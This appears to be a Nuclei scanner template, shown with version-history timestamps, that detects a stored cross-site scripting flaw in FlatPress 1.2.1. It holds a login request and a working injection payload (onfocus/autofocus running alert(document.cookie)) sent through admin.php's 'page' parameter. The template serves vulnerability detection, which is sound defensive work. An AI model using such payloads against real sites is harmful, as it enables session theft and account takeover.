2022-10-13 10:41:15 +00:00
id : flatpress-xss
info :
2022-10-19 21:11:27 +00:00
name : FlatPress 1.2.1 - Stored Cross-Site Scripting
2022-10-13 10:41:15 +00:00
author : arafatansari
severity : medium
description : |
2022-10-19 21:11:27 +00:00
FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can steal cookie-based authentication credentials and launch other attacks. Note : this is similar to CVE-2021-41432, however this attack uses the "page" parameter.
2022-10-13 10:41:15 +00:00
reference :
- https://github.com/flatpressblog/flatpress/issues/153
2022-10-19 21:11:27 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cwe-id : CWE-79
2022-10-13 10:41:15 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2022-10-14 06:11:59 +00:00
verified : true
2022-10-13 10:41:15 +00:00
shodan-query : http.html:"Flatpress"
2022-10-14 11:43:39 +00:00
tags : flatpress,xss,authenticated,oss
2022-10-13 10:41:15 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-13 10:41:15 +00:00
- raw :
- |
POST /login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition : form-data; name="user"
2022-10-14 06:11:59 +00:00
{{username}}
2022-10-13 10:41:15 +00:00
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition : form-data; name="pass"
2022-10-14 06:11:59 +00:00
{{password}}
2022-10-13 10:41:15 +00:00
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition : form-data; name="submit"
Login
------WebKitFormBoundarykGJmx9vKsePrMkVp--
2022-10-13 10:56:36 +00:00
2022-10-13 10:41:15 +00:00
- |
GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.cookie%29%22autofocus%3d%22 HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
words :
2022-10-14 06:11:59 +00:00
- 'value=""onfocus="alert(document.cookie)"autofocus=""'
- 'FlatPress'
2022-10-13 10:42:51 +00:00
condition : and
2022-10-14 06:11:59 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200